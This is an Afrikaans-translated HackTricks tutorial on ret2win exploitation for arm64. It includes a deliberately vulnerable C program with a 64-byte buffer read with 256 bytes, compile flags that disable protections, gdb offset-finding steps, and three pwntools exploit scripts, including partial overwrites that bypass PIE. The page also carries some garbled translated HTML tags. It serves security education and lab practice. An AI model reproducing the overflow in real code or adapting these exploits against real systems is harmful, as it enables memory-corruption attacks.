Ret2win - arm64

Ret2win - arm64

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Vind 'n inleiding tot arm64 in:

pageIntroduction to ARM64v8

Kode

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Kompileer sonder pie en kanarie:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie

Vind die verskuiwing

Patroon opsie

Hierdie voorbeeld is geskep met behulp van GEF:

Begin gdb met gef, skep 'n patroon en gebruik dit:

gdb -q ./ret2win
pattern create 200
run

arm64 sal probeer om terug te keer na die adres in die register x30 (wat gekompromiteer was), ons kan dit gebruik om die patroon offset te vind:

pattern search $x30

Die verskuiwing is 72 (9x48).

Stokverskuiwingsopsie

Begin deur die stokadres te kry waar die pc-register gestoor word:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Stel nou 'n breekpunt in na die read() en gaan voort totdat die read() uitgevoer word en stel 'n patroon soos 13371337:

b *vulnerable_function+28
c

Vind waar hierdie patroon in die geheue gestoor word:

Dan: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

Geen PIE

Gewoon

Kry die adres van die win funksie:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Uitbuiting:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Afstand-van-1

Eintlik gaan dit meer soos 'n afstand-van-2 wees in die gestoorde PC in die stapel. In plaas daarvan om al die terugkeeradres oor te skryf, gaan ons net die laaste 2 byte oorskryf met 0x06c4.

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Jy kan 'n ander off-by-one voorbeeld in ARM64 vind in https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, wat 'n werklike off-by-one in 'n denkbeeldige kwesbaarheid is.

Met PIE

Kompileer die binêre lêer sonder die -no-pie argument

Off-by-2

Sonnder 'n lek weet ons nie die presiese adres van die wenfunksie nie, maar ons kan die offset van die funksie van die binêre lêer ken en weet dat die terugkeeradres wat ons oorskryf alreeds na 'n nabygeleë adres wys, dit moontlik is om die offset na die wenfunksie (0x7d4) in hierdie geval te lek en net daardie offset te gebruik:

```python from pwn import *

Configuration

binary_name = './ret2win' p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

<besonderhede>

<opsomming><sterk>Leer AWS-hacking vanaf nul tot held met</sterk> <a href="https://training.hacktricks.xyz/courses/arte"><sterk>htARTE (HackTricks AWS Red Team Expert)</sterk></a><sterk>!</sterk></opsomming>

Ander maniere om HackTricks te ondersteun:

* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

</besonderhede>

Last updated